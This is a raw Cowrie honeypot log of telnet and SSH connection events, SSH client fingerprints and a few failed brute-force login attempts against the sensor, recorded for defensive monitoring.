{"eventid":"cowrie.session.closed","duration":7.5009565353393555,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:09.219420Z","src_ip":"198.58.117.211","session":"b9d9dcbb4b32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":37482,"dst_ip":"10.17.0.5","dst_port":23,"session":"47c2445614cd","protocol":"telnet","message":"New connection: 198.58.117.211:37482 (10.17.0.5:23) [session: 47c2445614cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:09.262045Z"}
{"eventid":"cowrie.session.closed","duration":35.26581144332886,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:09.434849Z","src_ip":"64.227.9.242","session":"bbd223dce778","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.366745710372925,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:10.592391Z","src_ip":"64.227.9.242","session":"4a2a346f1627","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.134385824203491,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:11.725590Z","src_ip":"188.208.141.113","session":"49596ef6811c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.298686504364014,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:12.681934Z","src_ip":"188.208.141.113","session":"5ee54f71d322","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.877464056015015,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:13.307569Z","src_ip":"64.227.9.242","session":"7145bdcb81cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.000364780426025,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:14.262292Z","src_ip":"198.58.117.211","session":"47c2445614cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":54294,"dst_ip":"10.17.0.5","dst_port":23,"session":"22edb252788f","protocol":"telnet","message":"New connection: 198.58.117.211:54294 (10.17.0.5:23) [session: 22edb252788f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:14.300844Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":60752,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bbd6bab410d","protocol":"telnet","message":"New connection: 64.227.9.242:60752 (159.203.135.109:23) [session: 9bbd6bab410d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:17.351360Z"}
{"eventid":"cowrie.session.closed","duration":5.000380039215088,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:19.301093Z","src_ip":"198.58.117.211","session":"22edb252788f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":54368,"dst_ip":"10.17.0.5","dst_port":23,"session":"75dba7c5d994","protocol":"telnet","message":"New connection: 198.58.117.211:54368 (10.17.0.5:23) [session: 75dba7c5d994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:19.338527Z"}
{"eventid":"cowrie.session.closed","duration":0.005496025085449219,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:19.343897Z","src_ip":"198.58.117.211","session":"75dba7c5d994","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":54372,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f7e4c37fce1","protocol":"telnet","message":"New connection: 198.58.117.211:54372 (10.17.0.5:23) [session: 7f7e4c37fce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:19.425036Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":37926,"dst_ip":"159.203.135.109","dst_port":23,"session":"86ee33b3cb77","protocol":"telnet","message":"New connection: 64.227.9.242:37926 (159.203.135.109:23) [session: 86ee33b3cb77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:22.670965Z"}
{"eventid":"cowrie.session.closed","duration":5.000557899475098,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:24.425499Z","src_ip":"198.58.117.211","session":"7f7e4c37fce1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":42384,"dst_ip":"10.17.0.5","dst_port":23,"session":"b51298dd79a6","protocol":"telnet","message":"New connection: 198.58.117.211:42384 (10.17.0.5:23) [session: b51298dd79a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:24.466180Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":39560,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fabd6b5927c","protocol":"telnet","message":"New connection: 64.227.9.242:39560 (159.203.135.109:23) [session: 6fabd6b5927c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:25.158626Z"}
{"eventid":"cowrie.session.closed","duration":35.75809860229492,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:25.404141Z","src_ip":"64.227.9.242","session":"9c7ed326ac6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.97663378715515,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:26.683974Z","src_ip":"188.208.141.113","session":"b50aab1b8dae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":39234,"dst_ip":"159.203.135.109","dst_port":23,"session":"d04cc588a434","protocol":"telnet","message":"New connection: 64.227.9.242:39234 (159.203.135.109:23) [session: d04cc588a434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:26.864285Z"}
{"eventid":"cowrie.session.closed","duration":5.006848573684692,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:29.472901Z","src_ip":"198.58.117.211","session":"b51298dd79a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":42484,"dst_ip":"10.17.0.5","dst_port":23,"session":"fff8d24d0132","protocol":"telnet","message":"New connection: 198.58.117.211:42484 (10.17.0.5:23) [session: fff8d24d0132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:29.512318Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":38592,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f3578be3c10","protocol":"ssh","message":"New connection: 1.235.192.214:38592 (10.17.0.5:22) [session: 3f3578be3c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:29.619965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:29.624870Z","src_ip":"1.235.192.214","session":"3f3578be3c10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:29.807209Z","src_ip":"1.235.192.214","session":"3f3578be3c10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":45848,"dst_ip":"159.203.135.109","dst_port":23,"session":"a264ea836ee8","protocol":"telnet","message":"New connection: 64.227.9.242:45848 (159.203.135.109:23) [session: a264ea836ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:30.101930Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"alec","message":"login attempt [admin/alec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:30.568606Z","src_ip":"1.235.192.214","session":"3f3578be3c10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":52170,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf936f223512","protocol":"ssh","message":"New connection: 112.217.199.222:52170 (10.17.0.5:22) [session: bf936f223512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:30.714031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:30.720253Z","src_ip":"112.217.199.222","session":"bf936f223512","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:30.917806Z","src_ip":"112.217.199.222","session":"bf936f223512","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":46860,"dst_ip":"159.203.135.109","dst_port":23,"session":"91f6da89baa3","protocol":"telnet","message":"New connection: 64.227.9.242:46860 (159.203.135.109:23) [session: 91f6da89baa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:31.189499Z"}
{"eventid":"cowrie.login.failed","username":"john","password":"test","message":"login attempt [john/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:31.747190Z","src_ip":"112.217.199.222","session":"bf936f223512","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:31.754847Z","src_ip":"1.235.192.214","session":"3f3578be3c10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:32.947365Z","src_ip":"112.217.199.222","session":"bf936f223512","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.932780504226685,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:33.640799Z","src_ip":"64.227.9.242","session":"30e36f6a0880","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44678,"dst_ip":"10.17.0.5","dst_port":23,"session":"331bf9ec330b","protocol":"telnet","message":"New connection: 188.208.141.113:44678 (10.17.0.5:23) [session: 331bf9ec330b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:33.667268Z"}
{"eventid":"cowrie.session.closed","duration":5.0007164478302,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:34.512778Z","src_ip":"198.58.117.211","session":"fff8d24d0132","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":59328,"dst_ip":"10.17.0.5","dst_port":23,"session":"8807e5007671","protocol":"telnet","message":"New connection: 198.58.117.211:59328 (10.17.0.5:23) [session: 8807e5007671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:34.552697Z"}
{"eventid":"cowrie.session.closed","duration":0.0035026073455810547,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:34.556105Z","src_ip":"198.58.117.211","session":"8807e5007671","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":59332,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb0999eb7101","protocol":"telnet","message":"New connection: 198.58.117.211:59332 (10.17.0.5:23) [session: fb0999eb7101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:34.635912Z"}
{"eventid":"cowrie.session.closed","duration":0.005110263824462891,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:34.640897Z","src_ip":"198.58.117.211","session":"fb0999eb7101","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":59340,"dst_ip":"10.17.0.5","dst_port":23,"session":"d361b53119d6","protocol":"telnet","message":"New connection: 198.58.117.211:59340 (10.17.0.5:23) [session: d361b53119d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:34.721728Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":51010,"dst_ip":"159.203.135.109","dst_port":23,"session":"509b4a644814","protocol":"telnet","message":"New connection: 64.227.9.242:51010 (159.203.135.109:23) [session: 509b4a644814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:35.382836Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":51138,"dst_ip":"159.203.135.109","dst_port":23,"session":"caf229aeeee0","protocol":"telnet","message":"New connection: 64.227.9.242:51138 (159.203.135.109:23) [session: caf229aeeee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:35.516470Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":51430,"dst_ip":"159.203.135.109","dst_port":23,"session":"643dfea0ea2d","protocol":"telnet","message":"New connection: 64.227.9.242:51430 (159.203.135.109:23) [session: 643dfea0ea2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:35.814562Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":51438,"dst_ip":"159.203.135.109","dst_port":23,"session":"08132235f7de","protocol":"telnet","message":"New connection: 64.227.9.242:51438 (159.203.135.109:23) [session: 08132235f7de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:35.831822Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44682,"dst_ip":"10.17.0.5","dst_port":23,"session":"af7e3a7eb59d","protocol":"telnet","message":"New connection: 188.208.141.113:44682 (10.17.0.5:23) [session: af7e3a7eb59d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:35.922896Z"}
{"eventid":"cowrie.session.closed","duration":31.937543869018555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:37.035340Z","src_ip":"64.227.9.242","session":"993426e1f761","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.000237464904785,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:39.721855Z","src_ip":"198.58.117.211","session":"d361b53119d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":59442,"dst_ip":"10.17.0.5","dst_port":23,"session":"726587428d5d","protocol":"telnet","message":"New connection: 198.58.117.211:59442 (10.17.0.5:23) [session: 726587428d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:39.759849Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":38342,"dst_ip":"10.17.0.5","dst_port":22,"session":"b08f60475afd","protocol":"ssh","message":"New connection: 152.32.171.213:38342 (10.17.0.5:22) [session: b08f60475afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:40.215376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:40.219364Z","src_ip":"152.32.171.213","session":"b08f60475afd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:40.433210Z","src_ip":"152.32.171.213","session":"b08f60475afd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!Q2w#E4r","message":"login attempt [ubuntu/!Q2w#E4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:41.321050Z","src_ip":"152.32.171.213","session":"b08f60475afd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":57494,"dst_ip":"159.203.135.109","dst_port":23,"session":"e643721194e0","protocol":"telnet","message":"New connection: 64.227.9.242:57494 (159.203.135.109:23) [session: e643721194e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:41.990623Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:42.536672Z","src_ip":"152.32.171.213","session":"b08f60475afd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.931319952011108,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:43.853965Z","src_ip":"188.208.141.113","session":"af7e3a7eb59d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.358561277389526,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:44.358975Z","src_ip":"188.208.141.113","session":"efa2cc58f1df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.00040340423584,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:44.760119Z","src_ip":"198.58.117.211","session":"726587428d5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":57378,"dst_ip":"10.17.0.5","dst_port":23,"session":"f785cf007a93","protocol":"telnet","message":"New connection: 198.58.117.211:57378 (10.17.0.5:23) [session: f785cf007a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:44.802433Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":59728,"dst_ip":"159.203.135.109","dst_port":23,"session":"30ef72d6e62c","protocol":"telnet","message":"New connection: 64.227.9.242:59728 (159.203.135.109:23) [session: 30ef72d6e62c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:45.480253Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":60492,"dst_ip":"159.203.135.109","dst_port":23,"session":"5091f8252a89","protocol":"telnet","message":"New connection: 64.227.9.242:60492 (159.203.135.109:23) [session: 5091f8252a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:46.324062Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":34458,"dst_ip":"159.203.135.109","dst_port":23,"session":"e544f8c1970d","protocol":"telnet","message":"New connection: 64.227.9.242:34458 (159.203.135.109:23) [session: e544f8c1970d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:48.701240Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":35842,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9692500c4ea","protocol":"telnet","message":"New connection: 64.227.9.242:35842 (159.203.135.109:23) [session: b9692500c4ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:49.210064Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":33354,"dst_ip":"159.203.135.109","dst_port":23,"session":"d65d28ba2c4d","protocol":"telnet","message":"New connection: 64.227.9.242:33354 (159.203.135.109:23) [session: d65d28ba2c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:49.580111Z"}
{"eventid":"cowrie.session.closed","duration":5.000057220458984,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:17:49.802374Z","src_ip":"198.58.117.211","session":"f785cf007a93","protocol":"telnet"}
